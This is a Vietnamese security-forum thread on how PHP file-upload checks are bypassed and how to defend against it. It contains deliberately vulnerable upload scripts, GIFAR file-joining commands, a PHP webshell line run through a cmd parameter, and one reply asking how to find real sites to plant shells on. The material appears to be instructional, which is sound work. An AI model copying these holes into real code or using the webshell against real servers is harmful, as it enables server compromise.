<![CDATA[Latest posts for the topic "Khai thác và phòng chống file upload trong PHP Web Applications"]]> /hvaonline/posts/list/12.html JForum - http://www.jforum.net Khai thác và phòng chống file upload trong PHP Web Applications I. GIỚI THIỆU Ứng dụng Web hỗ trợ cho phép người sử dụng thực hiện upload file lên server hiện tại có rất nhiều. Ví dụ như upload image(*.gif, *.jpg), *.pdf, *.doc, ... Trong bài này seamoun sẽ trình bày một số lỗi khi lập trình file upload mà kẻ xấu có thể lợi dụng để upload những mã độc lên server. Những phương thức khai thác mà seamoun trình bày chỉ mang tính tham khảo không ủng hộ các bạn khai thác đối với những server bị mắc lỗi. II. KHAI THÁC LỖI UPLOAD FILE 1) Trường hợp sử dụng JavaScript để kiểm tra file upload Giả sử ta có kịch bản gồm 2 file như sau: Code:
<html>
<title>Secure file upload PHP Web Applications</title>
<head>
<script language=javascript>
function chkFileExtension()
{
	var str=document.upload.userfile.value;
	var ext=str.substring(str.length,str.length-3);
	if ( ext != "gif")
	{
		alert("File is invalid");
		return false;
	}
	else
	{
		return true;
	};
}
</script>
</head>
<body>
<form name="upload" action="upload1.php" method="POST" ENCTYPE="multipart/form-data"  onSubmit="return chkFileExtension()">
Select the file to upload: <input type="file" name="userfile">
<input type="submit" name="upload" value="upload">
</form>
</body>
</html>
Code:
<?php

$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
    echo "File was successfully uploaded.\n";
} else {
    echo "File uploading failed.\n";
}
?>
Ví dụ trên cho thấy người lập trình kiểm tra phần mở rộng file cho phép file upload bằng cách sử dụng một đoạn mã Javascript trong file upload1.html. Chỉ chấp nhận những file có phần mở rộng là *.gif thì mới được phép upload, cách này một kẻ tấn công dễ dàng vượt qua bằng cách sử dụng một intercepting proxy hoặc có thể viết một đoạn mã bằng Perl, Python,... mà đệ trình trực tiếp đến file upload1.php với những tham số cần thiết. Trong demo sau seamoun sử dụng Burp Suite là một tool rất mạnh khi thực hiện Web Application. Có thể download tại : http://portswigger.net/]]>
/hvaonline/posts/list/25298.html#153174 /hvaonline/posts/list/25298.html#153174 GMT
Khai thác và phòng chống file upload trong PHP Web Applications - 2 Code:
<?php

if($_FILES['userfile']['type'] != "image/gif") {
    echo "Sorry, we only allow uploading GIF images";
    exit;
}

$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
    echo "File is valid, and was successfully uploaded.\n";
} else {
    echo "File uploading failed.\n";
}

?>
Với đoạn mã trên người lập trình hy vọng ngăn chặn được kẻ tấn công upload file độc hại lên server bằng cách sử dụng kiểm tra type=image/gif. Tức là kiểu file cho phép upload ở đây chỉ có thể là file gif. Điều này cũng không an toàn bởi vì kẻ tấn công có thể thay đổi kiểu type=image/gif cho phù hợp với sự kiểm tra của đoạn mã trên nhưng nội dung vẫn chứa mã độc. Sau đây là demo thứ 2 khai thác lỗi file upload trong PHP WebApp]]>
/hvaonline/posts/list/25298.html#153175 /hvaonline/posts/list/25298.html#153175 GMT
Khai thác và phòng chống file upload trong PHP Web Applications - 3 Code:
<?php

$imageinfo = getimagesize($_FILES['userfile']['tmp_name']);

if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg') {
    echo "Sorry, we only accept GIF and JPEG images\n";
    exit;
}

$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
    echo "File is valid, and was successfully uploaded.\n";
} else {
    echo "File uploading failed.\n";
}

?>
Như vậy liệu có cải thiện hơn ? An toàn hơn ? Trả lời: có cái thiện hơn nhưng vẫn chưa an toàn. Mặc dù với đoạn mã trên kẻ tấn công không thực hiện thành công như ở Lab2, khi thay đổi type=image/gif vì lúc này người lập trình đã kiểm tra nội dung file upload có đúng là gif hay không ?. Nhưng nếu kẻ tấn công sử dụng một file gif và chèn mã độc vào thì thế nào ? Khai thác sẽ thành công !!!! Sau đây là demo thứ 3 khai thác lỗi file upload trong PHP WebApp]]>
/hvaonline/posts/list/25298.html#153177 /hvaonline/posts/list/25298.html#153177 GMT
Re: Khai thác và phòng chống file upload trong PHP Web Applications Code:
<?php

$blacklist = array(".php", ".phtml");

foreach ($blacklist as $item) {
   if(preg_match("/$item\$/i", $_FILES['userfile']['name'])) {
       echo "We do not allow uploading PHP files\n";
       exit;
   }
}

$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
    echo "File is valid, and was successfully uploaded.\n";
} else {
    echo "File uploading failed.\n";
}
?>
Như vậy với đoạn mã người lập trình đã ngăn chặn kẻ tấn công không thể upload file *.php lên server. Tuy nhiên trường hợp này cũng chưa an toàn với những server mà có cấu hình file *.gif, *.jpg cho phép xử lý PHP. Do vậy kẻ tấn công vẫn upload file gif, jpg lên server nhưng có chèn thêm mã độc vào. III. CÁCH PHÒNG CHỐNG Mấu chốt giải quyết vấn để làm thế nào an toàn trong file upload đó là lưu giữ file upload lên một nơi mà không thể truy cập bởi user thông qua URL. Điều này có thể thực hiện được bằng cách lưu file upload bên ngoài thưc mục webroot hoặc trên web server nhưng từ chối truy cập đến thư mục đó. Tài liệu tham khảo: Secure File Upload In PHP Web Applications - ScanIt Công cụ sử dụng: Burp Suite http://portswigger.net/)]]>
/hvaonline/posts/list/25298.html#153178 /hvaonline/posts/list/25298.html#153178 GMT
Re: Khai thác và phòng chống file upload trong PHP Web Applications /hvaonline/posts/list/25298.html#153189 /hvaonline/posts/list/25298.html#153189 GMT Re: Khai thác và phòng chống file upload trong PHP Web Applications /hvaonline/posts/list/25298.html#153228 /hvaonline/posts/list/25298.html#153228 GMT Re: Khai thác và phòng chống file upload trong PHP Web Applications

rickb wrote:
@seamoun : Hình như anh chưa upload các demo phải ko nhỉ :D Thân, 
Các demo cho từng phần seamoun đã attach rồi mà. Login vào thấy file OK mà.

mrro wrote:
Hay lém anh seamoun. Có một hướng khai thác liên quan đến tính năng upload file trong web-application (không riêng gì PHP) mới được công bố ở hội thảo BlackHat 2008 vừa rồi là GIFAR. Tóm tắt là kết hợp file GIF với file JAR lại để vượt qua same-origin policy của trình duyệt. Xem thêm http://heasman.blogspot.com/2008/08/on-gifars.html http://www.gnucitizen.org/blog/more-on-gifars-and-other-dangerous-attacks/ Bà con thử bình luận về cái GIFAR này xem. 
Anh cũng đang đọc bài viết trong link em gửi. Thanks ]]>
/hvaonline/posts/list/25298.html#153245 /hvaonline/posts/list/25298.html#153245 GMT
Re: Khai thác và phòng chống file upload trong PHP Web Applications /hvaonline/posts/list/25298.html#153559 /hvaonline/posts/list/25298.html#153559 GMT Re: Khai thác và phòng chống file upload trong PHP Web Applications

flier_vn wrote:
Cho em hõi xí về GIFAR này : Khi đã tích hợp 2 file thành công, thì khi duyệt file GIFAR.gif thì applet java có được thực thi ko ? hay phải nhờ đến tag html <applet code="xxx.class" archive="GIFAR.gif"> ? Và lỗi này chỉ thực thi được ở phía client ( và client phải có cài đặt java ) chứ ko tác động được đến webserver ? Đây là sự kết hợp hoàn hảo với lỗi XSS ? Thx trước ạh :D 
Theo tôi biết thì bạn phải dùng đến cái <applet ...="GIFAR.gif">. Mới nhìn thì nó sẽ chạy code ở client, và có vẻ như không tác động đến server, nhưng sự nguy hại của nó là ở chỗ sau: file GIFAR.gif này được upload lên đâu đó, ví dụ HVA ;-) HTML file: <applet ...="http://hva/upload/GIFAR.gif"> HTML file này có thể nằm ở 1 chỗ khác và nó có thể load & execute file GIFAR.gif được load từ HVA. Tuy được load từ HVA về máy của user và chạy ở client, nhưng file GIFAR.gif này có thể tương tác được với server của HVA (vì codebase là nó được load từ trên HVA về) và lấy được cookie của forum HVA của user. Nhưng lấy cookie được chưa chắc đã nguy hại vì: - user đó có thể không là member của HVA, chưa từng vào HVA --> cookie nà empty - cơ chế bảo mật của forum HVA làm cho việc lấy được cookie cũng không khai thác được gì nhiều. Ở đây vấn đề nguy hại hơn là đoạn mã java chứa trong file GIFAR.gif có thể tương tác được với server HVA trực tiếp qua đường socket. Điều này có thể được lợi dụng để mượn tay user đó DoS (lúc này sẽ là DDoS) HVA :-)]]>
/hvaonline/posts/list/25298.html#153563 /hvaonline/posts/list/25298.html#153563 GMT
Re: Khai thác và phòng chống file upload trong PHP Web Applications /hvaonline/posts/list/25298.html#153565 /hvaonline/posts/list/25298.html#153565 GMT Re: Khai thác và phòng chống file upload trong PHP Web Applications /hvaonline/posts/list/25298.html#153567 /hvaonline/posts/list/25298.html#153567 GMT Re: Khai thác và phòng chống file upload trong PHP Web Applications /hvaonline/posts/list/25298.html#153610 /hvaonline/posts/list/25298.html#153610 GMT Re: Khai thác và phòng chống file upload trong PHP Web Applications

mrro wrote:
@flier_vn: khổ bạn quá, gì mà từa lưa hết, chỗ này xọ chỗ kia. ngồi xem lại xem java applet là cái chi rồi hẵng coi cái GIFAR này là cái chi, kẻo bị tẩu hỏa nhập ma thì chẳng có ai cứu được đâu. --m 
Ừhm ! Em xin lỗi, em sẽ rút kinh nghiệm, lần sau khi tham gia chủ đề nào đó thì em phải chắc chắn rằng em am hiểu 1 chút kiến thức về chủ đề đó thì mới dám mở miệng tham gia :D Thx anh rất nhiều.. ! àh ! Riêng về cái này thì thx anh nbthanh đã giúp em hiểu phần nào rồi :) Còn đây em xin post cách tạo file GIFAR.gif ( cũng như tương tự ) dành cho những bạn chưa biết :
1. Xoạn thảo 1 file java chứa mã độc rồi complie lại : $ : javac exp1.java rồi : $: jar -cf exp1.jar exp1.class => tạo file .JAR Tiếp : $ : cat xxx.gif exp1.jar > gifar.gif  
Okies! Thành công :D To mrror : Nhưng.... cái lối nói chuyện của anh thì hok bik sau này anh dạy con, dạy cháu anh sao nữa, thậm chí bây giờ nếu đoán ko lầm chắc bạn bè anh chỉ đếm đầu ngón tay ! hahaha ! Muốn chỉ bảo ai thì cũng phải làm cho người đó phục trước đã ! Từng lời lẽ phát ra phải làm cho người ta "mến" và phục, như reply như anh nbt_thanh thì làm gì có ai dám mở miệng nào tiếng nào ! hahaha ! Hok biết mỗi lần bro phát ngôn ra là lại có người chỉ chữi, mặc dù cũng có rất nhiều anh cũng hay châm chọt, nhưng châm chọt của họ là để giúp cho mình tiến bộ nên mọi người cũng rất hài lòng ! Bro mới là người coi chứng bị tẫu quả nhập ma, riết hok có ai chơi với mình thì bị tẫu quả thiệt đó ! haha ! to all : có gì sai thì move wa box tán gẫu, vì ko có lý do gì để cho vào thùng rác :) ]]>
/hvaonline/posts/list/25298.html#153642 /hvaonline/posts/list/25298.html#153642 GMT
Re: Khai thác và phòng chống file upload trong PHP Web Applications

flier_vn wrote:
... To mrror : Nhưng.... cái lối nói chuyện của anh thì hok bik sau này anh dạy con, dạy cháu anh sao nữa, thậm chí bây giờ nếu đoán ko lầm chắc bạn bè anh chỉ đếm đầu ngón tay ! hahaha ! Muốn chỉ bảo ai thì cũng phải làm cho người đó phục trước đã ! Từng lời lẽ phát ra phải làm cho người ta "mến" và phục, như reply như anh nbt_thanh thì làm gì có ai dám mở miệng nào tiếng nào ! hahaha ! Hok biết mỗi lần bro phát ngôn ra là lại có người chỉ chữi, mặc dù cũng có rất nhiều anh cũng hay châm chọt, nhưng châm chọt của họ là để giúp cho mình tiến bộ nên mọi người cũng rất hài lòng ! Bro mới là người coi chứng bị tẫu quả nhập ma, riết hok có ai chơi với mình thì bị tẫu quả thiệt đó ! haha ! to all : có gì sai thì move wa box tán gẫu, vì ko có lý do gì để cho vào thùng rác :)  
Tôi thấy mrro góp ý bồ không có gì là quá đáng cả (tôi tuyệt đối không bênh mrro ở đây). Bởi thế, bồ không nên bức xúc như thế. Nếu bồ thấy mrro góp ý thiếu chính xác chỗ nào, bồ phản biện ngay chỗ ấy. Đừng mang chuyện phỏng đoán và đặc biệt đừng lôi chuyện đời tư cá nhân (dù có thật hay suy diễn) ra để phản biện. Đây là một thói quen không tốt và không nên duy trì. Hành động phản biện có giá trị hay không còn phụ thuộc vào khả năng diễn đạt và ngôn từ của mình. Một đoạn phản biện ngắn ngủi mang tính phỏng đoán và bêu rếu chuyện cá nhân đã tệ mà chính tả, câu cú, từ vựng be bét thì cũng tệ không kém. Bài trả lời trên của bồ đáng vào thùng rác và moderators có trọn quyền quyết định xử lý nó như thế nào chớ không phải bồ. Tôi để yên bài phản biện của bồ như trên và cảnh cáo bồ lần thứ nhất. Mong bồ tỉnh táo và tiếp tục thảo luận chuyện kỹ thuật (chớ không phải chuyện cá nhân theo kiểu phỏng đoán).]]>
/hvaonline/posts/list/25298.html#153648 /hvaonline/posts/list/25298.html#153648 GMT
Re: Khai thác và phòng chống file upload trong PHP Web Applications

flier_vn wrote:

mrro wrote:
@flier_vn: khổ bạn quá, gì mà từa lưa hết, chỗ này xọ chỗ kia. ngồi xem lại xem java applet là cái chi rồi hẵng coi cái GIFAR này là cái chi, kẻo bị tẩu hỏa nhập ma thì chẳng có ai cứu được đâu. --m 
Ừhm ! Em xin lỗi, em sẽ rút kinh nghiệm, lần sau khi tham gia chủ đề nào đó thì em phải chắc chắn rằng em am hiểu 1 chút kiến thức về chủ đề đó thì mới dám mở miệng tham gia :D Thx anh rất nhiều.. ! àh ! Riêng về cái này thì thx anh nbthanh đã giúp em hiểu phần nào rồi :) Còn đây em xin post cách tạo file GIFAR.gif ( cũng như tương tự ) dành cho những bạn chưa biết :
1. Xoạn thảo 1 file java chứa mã độc rồi complie lại : $ : javac exp1.java rồi : $: jar -cf exp1.jar exp1.class => tạo file .JAR Tiếp : $ : cat xxx.gif exp1.jar > gifar.gif  
Okies! Thành công :D To mrror : Nhưng.... cái lối nói chuyện của anh thì hok bik sau này anh dạy con, dạy cháu anh sao nữa, thậm chí bây giờ nếu đoán ko lầm chắc bạn bè anh chỉ đếm đầu ngón tay ! hahaha ! Muốn chỉ bảo ai thì cũng phải làm cho người đó phục trước đã ! Từng lời lẽ phát ra phải làm cho người ta "mến" và phục, như reply như anh nbt_thanh thì làm gì có ai dám mở miệng nào tiếng nào ! hahaha ! Hok biết mỗi lần bro phát ngôn ra là lại có người chỉ chữi, mặc dù cũng có rất nhiều anh cũng hay châm chọt, nhưng châm chọt của họ là để giúp cho mình tiến bộ nên mọi người cũng rất hài lòng ! Bro mới là người coi chứng bị tẫu quả nhập ma, riết hok có ai chơi với mình thì bị tẫu quả thiệt đó ! haha ! to all : có gì sai thì move wa box tán gẫu, vì ko có lý do gì để cho vào thùng rác :)  
Đọc tạm cái này đi. Sẽ giúp ích phần nào đấy ;) Code:
http://forum.vnoss.org/pub/smart-questions-vi.html#Hi%E1%BB%83u_c%C3%A2u_tr%E1%BA%A3_l%E1%BB%9Di_nh%C6%B0_th%E1%BA%BF_n%C3%A0o
]]>
/hvaonline/posts/list/25298.html#153667 /hvaonline/posts/list/25298.html#153667 GMT
Re: Khai thác và phòng chống file upload trong PHP Web Applications /hvaonline/posts/list/25298.html#153677 /hvaonline/posts/list/25298.html#153677 GMT Re: Khai thác và phòng chống file upload trong PHP Web Applications

hackerbinhphuoc wrote:
cho em hỏi là tại sao mình không chỉnh lại đoạn javascript rồi upload lên hoạt là tắt chức năng sử dụng javascript đi vì cách này em hay dùng thay vì phải dùng tool chỉnh gói tin gửi đi! tuy nhiên cám ơn anh nhiều vì cho em cái tool khá hay hehe! 
javascript thì sao mà can thiệp vào content-type: trong HTTP Header đc ? trường hợp phía server-side nó check content-type thì phải dùng proxy để sửa lại content-type để spoof nó. Chứ dùng java-script mà check phía client thì nói làm gì nữa :D ]]>
/hvaonline/posts/list/25298.html#153681 /hvaonline/posts/list/25298.html#153681 GMT
Re: Khai thác và phòng chống file upload trong PHP Web Applications /hvaonline/posts/list/25298.html#153692 /hvaonline/posts/list/25298.html#153692 GMT Re: Khai thác và phòng chống file upload trong PHP Web Applications

hackerbinhphuoc wrote:
hehe em nói ở ví dụ 1 mà anh, rõ ràng nó check ở client mà!, còn các ví dụ khác thi buộc phải chỉnh gói tin gửi đi rồi! nhiều site như vậy lém, check ở client! 
Ah, vậy em chỉnh đoạn javascript bằng cách nào :D ]]>
/hvaonline/posts/list/25298.html#153698 /hvaonline/posts/list/25298.html#153698 GMT
Re: Khai thác và phòng chống file upload trong PHP Web Applications /hvaonline/posts/list/25298.html#153707 /hvaonline/posts/list/25298.html#153707 GMT Re: Khai thác và phòng chống file upload trong PHP Web Applications <html> <title>Secure file upload PHP Web Applications</title> <head> <script language=javascript> function chkFileExtension() { var str=document.upload.userfile.value; var ext=str.substring(str.length,str.length-3); if ( ext != "gif") { alert("File is invalid"); return false; } else { return true; }; } </script> </head> <body> <form name="upload" action="upload1.php" method="POST" ENCTYPE="multipart/form-data" onSubmit="return chkFileExtension()"> Select the file to upload: <input type="file" name="userfile"> <input type="submit" name="upload" value="upload"> </form> </body> </html> 

hackerbinhphuoc wrote:
tắt chức năng sử dụng javascript đi hoặc là lưu file đó lại, đổi chữ "gif" bằng "php" được không nhỉ ? 
Phức tạp và khó quá ~(X --> Anh trình thấp nên hay dùng làm như vầy, ko biết có đúng ko.Trên thanh AddressBar gõ: Code:
javascript: function chkFileExtension(){return true;}
Sau đó làm gì tiếp ko biết luôn. :( ]]>
/hvaonline/posts/list/25298.html#153727 /hvaonline/posts/list/25298.html#153727 GMT
Re: Khai thác và phòng chống file upload trong PHP Web Applications /hvaonline/posts/list/25298.html#153728 /hvaonline/posts/list/25298.html#153728 GMT Re: Khai thác và phòng chống file upload trong PHP Web Applications Mấu chốt giải quyết vấn để làm thế nào an toàn trong file upload đó là lưu giữ file upload lên một nơi mà không thể truy cập bởi user thông qua URL  em nghĩ là đó chỉ là giải pháp cho các website lớn, quản trị cả sever, còn đối với phần lớn các website vừa và nhỏ dùng host share thì giải pháp tốt nhất là cấm chạy script trong folder uploads ( tuy nhiên không tránh được trường hợp upload sang folder khác hoặc include files)]]> /hvaonline/posts/list/25298.html#153785 /hvaonline/posts/list/25298.html#153785 GMT Re: Khai thác và phòng chống file upload trong PHP Web Applications /hvaonline/posts/list/25298.html#155190 /hvaonline/posts/list/25298.html#155190 GMT Re: Khai thác và phòng chống file upload trong PHP Web Applications /hvaonline/posts/list/25298.html#155513 /hvaonline/posts/list/25298.html#155513 GMT Re: Khai thác và phòng chống file upload trong PHP Web Applications /hvaonline/posts/list/25298.html#155524 /hvaonline/posts/list/25298.html#155524 GMT Re: Khai thác và phòng chống file upload trong PHP Web Applications /hvaonline/posts/list/25298.html#155654 /hvaonline/posts/list/25298.html#155654 GMT Re: Khai thác và phòng chống file upload trong PHP Web Applications /hvaonline/posts/list/25298.html#157833 /hvaonline/posts/list/25298.html#157833 GMT Re: Khai thác và phòng chống file upload trong PHP Web Applications /hvaonline/posts/list/25298.html#159437 /hvaonline/posts/list/25298.html#159437 GMT Re: Khai thác và phòng chống file upload trong PHP Web Applications /hvaonline/posts/list/25298.html#174855 /hvaonline/posts/list/25298.html#174855 GMT Re: Khai thác và phòng chống file upload trong PHP Web Applications /hvaonline/posts/list/25298.html#178611 /hvaonline/posts/list/25298.html#178611 GMT Re: Khai thác và phòng chống file upload trong PHP Web Applications http://website/upload/test.doc?cmd=netstat -an thì trang web nó hiện lên khung download file .doc này chứ ko thực thi đoạn lệnh system kia vậy em bị sai ở đâu dạ? các giúp em với ạ ... em cũng download file .doc này về và mở dạng code ra coi thử thì có dòng <?system($_GET['cmd']);?> nhưng ko biết tại sao nó ko chạy được hix]]> /hvaonline/posts/list/25298.html#178753 /hvaonline/posts/list/25298.html#178753 GMT Khai thác và phòng chống file upload trong PHP Web Applications /hvaonline/posts/list/25298.html#188421 /hvaonline/posts/list/25298.html#188421 GMT Re: Khai thác và phòng chống file upload trong PHP Web Applications

dangminh4 wrote:
Cho mình hỏi muốn để burp suite bên dưới trình duyệt FF có chũ P on/off giống của seamoun thì làm thế nào vậy 
EM cũng muốn hỏi! Ai làm được giải thích dùm với :(]]>
/hvaonline/posts/list/25298.html#199887 /hvaonline/posts/list/25298.html#199887 GMT
Khai thác và phòng chống file upload trong PHP Web Applications

seamoun wrote:
I. GIỚI THIỆU Ứng dụng Web hỗ trợ cho phép người sử dụng thực hiện upload file lên server hiện tại có rất nhiều. Ví dụ như upload image(*.gif, *.jpg), *.pdf, *.doc, ... Trong bài này seamoun sẽ trình bày một số lỗi khi lập trình file upload mà kẻ xấu có thể lợi dụng để upload những mã độc lên server. Những phương thức khai thác mà seamoun trình bày chỉ mang tính tham khảo không ủng hộ các bạn khai thác đối với những server bị mắc lỗi. II. KHAI THÁC LỖI UPLOAD FILE 1) Trường hợp sử dụng JavaScript để kiểm tra file upload Giả sử ta có kịch bản gồm 2 file như sau: Code:
<html>
<title>Secure file upload PHP Web Applications</title>
<head>
<script language=javascript>
function chkFileExtension()
{
	var str=document.upload.userfile.value;
	var ext=str.substring(str.length,str.length-3);
	if ( ext != "gif")
	{
		alert("File is invalid");
		return false;
	}
	else
	{
		return true;
	};
}
</script>
</head>
<body>
<form name="upload" action="upload1.php" method="POST" ENCTYPE="multipart/form-data"  onSubmit="return chkFileExtension()">
Select the file to upload: <input type="file" name="userfile">
<input type="submit" name="upload" value="upload">
</form>
</body>
</html>
Code:
<?php

$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
    echo "File was successfully uploaded.\n";
} else {
    echo "File uploading failed.\n";
}
?>
Ví dụ trên cho thấy người lập trình kiểm tra phần mở rộng file cho phép file upload bằng cách sử dụng một đoạn mã Javascript trong file upload1.html. Chỉ chấp nhận những file có phần mở rộng là *.gif thì mới được phép upload, cách này một kẻ tấn công dễ dàng vượt qua bằng cách sử dụng một intercepting proxy hoặc có thể viết một đoạn mã bằng Perl, Python,... mà đệ trình trực tiếp đến file upload1.php với những tham số cần thiết. Trong demo sau seamoun sử dụng Burp Suite là một tool rất mạnh khi thực hiện Web Application. Có thể download tại : http://portswigger.net/ 
--------------------------------------- Các anh có thể cho em hỏi 1 chút đc ko ạ ? Em mới tìm hiểu về các vấn đề ở trên các anh nói , em cũng muốn thực hiện xem khả năng tiếp thu của mình đến đâu , nhưng khi load toll Burp Suite về thì ko biết sử dụng ra sao ( vì thấy trong video demo toll này đã đc add luôn vào fifox rồi :( ) Vậy các anh có thể cho em biết , add Toll Burp Suite và Fifox như thế nào ,và hướng dẫn sử dụng PM cụ thể ra sao được ko ạ ? Em cảm ơn các anh !]]>
/hvaonline/posts/list/25298.html#204321 /hvaonline/posts/list/25298.html#204321 GMT
Khai thác và phòng chống file upload trong PHP Web Applications /hvaonline/posts/list/25298.html#206350 /hvaonline/posts/list/25298.html#206350 GMT Khai thác và phòng chống file upload trong PHP Web Applications <form name="upload" action="http://VICTIM/upload1.php" method="POST" ENCTYPE="multipart/form-data"> Select the file to upload: <input type="file" name="userfile"> <input type="submit" name="upload" value="upload"> </form> Sau đó lưu lại thành .html rồi upload. Hoặc có thể dùng chức năng gõ lệnh javascrip trên thanh Address với cú pháp: javascript:[Mã nhúng 1 form upload hoặc 1 mã độc nào đó]]]> /hvaonline/posts/list/25298.html#217369 /hvaonline/posts/list/25298.html#217369 GMT Khai thác và phòng chống file upload trong PHP Web Applications /hvaonline/posts/list/25298.html#278033 /hvaonline/posts/list/25298.html#278033 GMT Khai thác và phòng chống file upload trong PHP Web Applications /hvaonline/posts/list/25298.html#278565 /hvaonline/posts/list/25298.html#278565 GMT Re: Khai thác và phòng chống file upload trong PHP Web Applications

seamoun wrote:
4) Trường hợp kiểm tra phần mở rộng của file trên server với đoạn mã sau: Code:
<?php

$blacklist = array(".php", ".phtml");

foreach ($blacklist as $item) {
   if(preg_match("/$item\$/i", $_FILES['userfile']['name'])) {
       echo "We do not allow uploading PHP files\n";
       exit;
   }
}

$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
    echo "File is valid, and was successfully uploaded.\n";
} else {
    echo "File uploading failed.\n";
}
?>
Như vậy với đoạn mã người lập trình đã ngăn chặn kẻ tấn công không thể upload file *.php lên server. Tuy nhiên trường hợp này cũng chưa an toàn với những server mà có cấu hình file *.gif, *.jpg cho phép xử lý PHP. Do vậy kẻ tấn công vẫn upload file gif, jpg lên server nhưng có chèn thêm mã độc vào. III. CÁCH PHÒNG CHỐNG Mấu chốt giải quyết vấn để làm thế nào an toàn trong file upload đó là lưu giữ file upload lên một nơi mà không thể truy cập bởi user thông qua URL. Điều này có thể thực hiện được bằng cách lưu file upload bên ngoài thưc mục webroot hoặc trên web server nhưng từ chối truy cập đến thư mục đó. Tài liệu tham khảo: Secure File Upload In PHP Web Applications - ScanIt Công cụ sử dụng: Burp Suite http://portswigger.net/
nói thật là bác up bài này, có khuyến cáo sợ người khác sử dụng sai mục đích, nhưng theo em là bác đã lo xa quá thừa, bởi clip bác làm quá ngắn gọn, ko có file word hướng dẫn kèm theo, web demo đã có sẵn do bác tạo ra , tất cả mọi thứ đều chung chung và quá mơ hồ đối với newbie, mà em ko hiểu bác viết bài này để giúp các newbei như em, hay là để nói với những người đã biết nữa, em thấy để xem clip của bác mà hiểu thì chắc là người ta phải biết hack thông qua lỗi upshell và hiểu sâu sắc rồi , mà những cái loại ý thì chắc chả buồn down clip của bác làm cái gì nữa nhỉ, người đọc topic của bác là những newbie mới đọc thôi, em có chút góp ý như vậy có gì không phải thì cũng thôi, tính em là em nói thẳng, làm gì cũng phải hướng đến người dùng, đã ko làm thì thôi, chứ đã có ý giới thiệu cho người ta biết thì nên làm sao cho nó rõ ràng rành mạch, còn sợ mất nghề tốt nhất ko up. sau đây em xin viết ra 1 vài thắc cmn mắc của em sau khi down tạm 1 cái clip của bác về xem, em là newbie nhé , có thể khó tránh khỏi vài lỗi cơ bản, nhưng thế mới là newbie : 1/ web bác demo là web nào 2/ web bác tấn công là web nào 3/ cơ chế như thế nào 4/ web của bác do bác tạo ra nên bác có sẵn file shell trên đó, vậy newbie thì dùng cái gì để thực hành 5/ 1 trang web bình thường tìm mãi không thấy chỗ upload cái gì đó lên, vậy mà trong csdl của nó vẫn có file shell, vậy có phải rõ ràng web đó do chính người design đưa file shell vào csdl để làm mẫu hướng dẫn hay ko ? vì nếu csdl ko có sắn thì gõ link ko bao h ra, như 1 web site đơn giản gõ vào nó như mọi web khác, nhưng có thêm đuôi /wp-includes/css/byg.php chẳng hạn thì nó lại sẽ ra 1 link với giao diện hoàn toàn khác và đã có sắn shell trên đó. =>vấn đề newbie đặt ra là : làm thế nào để tìm được 1 web có thể cho upshell, phải có tools chứ, ko lẽ google để nghĩ ra vài cái tên lạ lạ thử tét sao :v và rồi khi đã upshell thành công thì tiến hành chạy shell đó như thế nào. newbie thì cần biết những cái đó đó. còn bác viết bài này đối với những người xem là newbie = con số 0 tròn chĩnh . ]]>
/hvaonline/posts/list/25298.html#278987 /hvaonline/posts/list/25298.html#278987 GMT